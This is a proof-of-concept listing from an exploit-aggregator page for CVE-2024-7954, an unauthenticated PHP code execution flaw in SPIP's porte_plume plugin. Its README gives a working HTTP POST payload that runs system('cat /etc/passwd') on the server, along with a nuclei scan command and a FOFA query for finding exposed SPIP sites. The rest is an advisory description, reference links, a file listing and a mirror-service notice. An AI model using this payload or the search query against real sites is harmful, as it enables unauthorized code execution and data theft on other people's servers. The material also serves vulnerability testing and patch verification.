POC详情: 21aea2cfef11b05b320d916f8e3f2176afad6ab6

来源
关联漏洞
标题: SPIP 安全漏洞 (CVE-2024-7954)
描述:SPIP是SPIP开源的一个用于创建 Internet 站点的免费软件。 SPIP存在安全漏洞,该漏洞源于容易受到任意代码执行漏洞的影响,远程未经身份验证的攻击者可以通过发送精心设计的HTTP请求以SPIP用户身份执行任意PHP。
描述
Unauthenticated Remote Code Execution in SPIP versions up to and including 4.2.12 
介绍
### Description
The porte_plume plugin used by SPIP before 4.30-alpha2, 4.2.13, and 4.1.16 is vulnerable to an arbitrary code execution vulnerability. A remote and unauthenticated attacker can execute arbitrary PHP as the SPIP user by sending a crafted HTTP request.

### Exploit (Proof of concept)
```bash
POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

data=AA_[<img111111>->URL`<?php system('cat /etc/passwd'); ?>`]_BB
```
### Usage
``` bash
nuclei --target {host.com} -t CVE-2024-7954.yaml
```

### FOFA query
```bash
app="SPIP"
```

#### Reference
- https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-3-0-alpha2-SPIP-4-2-13-SPIP-4.html
- https://thinkloveshare.com/hacking/spip_preauth_rce_2024_part_1_the_feather/
- https://vulncheck.com/advisories/spip-porte-plume
- https://nvd.nist.gov/vuln/detail/CVE-2024-7954
- https://security-tracker.debian.org/tracker/CVE-2024-7954
文件快照

[4.0K] /data/pocs/21aea2cfef11b05b320d916f8e3f2176afad6ab6 ├── [1.7K] CVE-2024-7954.yaml └── [ 974] README.md 0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。